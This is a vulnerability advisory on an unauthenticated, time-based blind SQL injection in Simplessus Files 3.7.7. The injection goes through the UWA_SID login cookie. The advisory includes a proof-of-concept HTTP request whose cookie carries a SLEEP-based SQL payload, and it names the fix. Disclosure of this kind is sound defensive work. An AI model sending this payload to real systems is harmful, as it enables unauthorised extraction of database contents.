Affected Version(s): 3.7.7
Tested Version(s): 3.7.7
Vulnerability Type: SQL Injection (CWE-89)
Risk Level: High
Solution Status: Open
Manufacturer Notification: January 25, 2017

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Product overview:

Simplessus Files is a file sharing web application.

The manufacturer describes the product as follows (see [1]):

    Simplessus Files is a simple software solution to exchange files and
    documents over the internet. No more file sharing via e-mail, FTP or
    CD-ROM with Simplessus Files replace very large files online easily.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability overview:

Due to insufficient filtering of user controlled input, Simplessus Files is
vulnerable to unauthenticated, time-based blind SQL injection.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

During the login process, the web application passes the value of the cookie
'UWA_SID' to a database without proper filtering or validation. Because SQL
statements are interpreted by the database, information can be extracted bit
by bit by using the SLEEP function.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

After sending the following request, the web application delays the response
by 40 seconds (probably because the database is queried twice), showcasing
the SQL injection vulnerability.

POST /?lang=de_de HTTP/1.1
Host: <HOSTNAME>
Content-Length: 47
Cookie: UWA_SID=00000000000000000000000000'%2b(select*from(select(sleep(20)))a)%2b'

core%5Busername%5D=test&core%5Bpassword%5D=test

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to software version to 3.8.3.
